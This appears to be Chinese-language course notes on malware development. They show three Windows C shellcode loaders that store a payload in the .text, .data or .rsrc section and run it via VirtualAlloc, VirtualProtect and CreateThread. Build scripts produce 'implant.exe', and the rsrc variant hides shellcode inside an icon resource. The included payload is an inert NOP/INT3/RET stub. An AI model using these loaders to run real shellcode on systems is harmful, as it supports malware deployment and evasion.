payload 存储在什么位置

  • .text
  • .data
  • .rsrc

image.png

image.png

payload-store-text

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  6. int main(void) {
  8.     void * exec_mem;
  9.     BOOL rv;
  10.     HANDLE th;
  11.     DWORD oldprotect = 0;
  13.     // 4 byte payload
  14.     unsigned char payload[] = {
  15.         0x90,        // NOP
  16.         0x90,        // NOP
  17.         0xcc,        // INT3
  18.         0xc3        // RET
  19.     };
  20.     unsigned int payload_len = 4;
  22.     // Allocate a memory buffer for payload
  23.     exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  24.     printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  25.     printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  27.     // Copy payload to new buffer
  28.     RtlMoveMemory(exec_mem, payload, payload_len);
  30.     // Make new buffer as executable
  31.     rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  33.     printf("\nHit me!\n");
  34.     getchar();
  36.     // If all good, run the payload
  37.     if ( rv != 0 ) {
  38.             th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  39.             WaitForSingleObject(th, -1);
  40.     }
  42.     return 0;
  43. }
  1. @ECHO OFF
  3. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

payload-store-data

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  6. // 4 byte payload
  7. unsigned char payload[] = {
  8.     0x90,        // NOP
  9.     0x90,        // NOP
  10.     0xcc,        // INT3
  11.     0xc3        // RET
  12. };
  13. unsigned int payload_len = 4;
  15. int main(void) {
  17.     void * exec_mem;
  18.     BOOL rv;
  19.     HANDLE th;
  20.     DWORD oldprotect = 0;
  22.     // Allocate a memory buffer for payload
  23.     exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  24.     printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  25.     printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  27.     // Copy payload to new buffer
  28.     RtlMoveMemory(exec_mem, payload, payload_len);
  30.     // Make new buffer as executable
  31.     rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  33.     printf("\nHit me!\n");
  34.     getchar();
  36.     // If all good, run the payload
  37.     if ( rv != 0 ) {
  38.             th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  39.             WaitForSingleObject(th, -1);
  40.     }
  42.     return 0;
  43. }
  1. @ECHO OFF
  3. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

payload-store-rsrc

  1. //1resources.h
  2. // #define FAVICON_ICO 100
  4. //2resources.rc
  5. //#include "resources.h"
  7. //FAVICON_ICO RCDATA calc.ico
  9. //3 
  10. //calc.ico 放入payload shellcode 
  14. #include <windows.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include "resources.h"
  20. int main(void) {
  22.     void * exec_mem;
  23.     BOOL rv;
  24.     HANDLE th;
  25.     DWORD oldprotect = 0;
  26.     HGLOBAL resHandle = NULL;
  27.     HRSRC res;
  29.     unsigned char * payload;
  30.     unsigned int payload_len;
  32.     // Extract payload from resources section
  33.     res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
  34.     resHandle = LoadResource(NULL, res);
  35.     payload = (char *) LockResource(resHandle);
  36.     payload_len = SizeofResource(NULL, res);
  38.     // Allocate some memory buffer for payload
  39.     exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  40.     printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  41.     printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  43.     // Copy payload to new memory buffer
  44.     RtlMoveMemory(exec_mem, payload, payload_len);
  46.     // Make the buffer executable
  47.     rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  49.     printf("\nHit me!\n");
  50.     getchar();
  52.     // Launch the payload
  53.     if ( rv != 0 ) {
  54.             th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  55.             WaitForSingleObject(th, -1);
  56.     }
  58.     return 0;
  59. }
  1. @ECHO OFF
  3. rc resources.rc
  4. cvtres /MACHINE:x64 /OUT:resources.o resources.res
  5. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o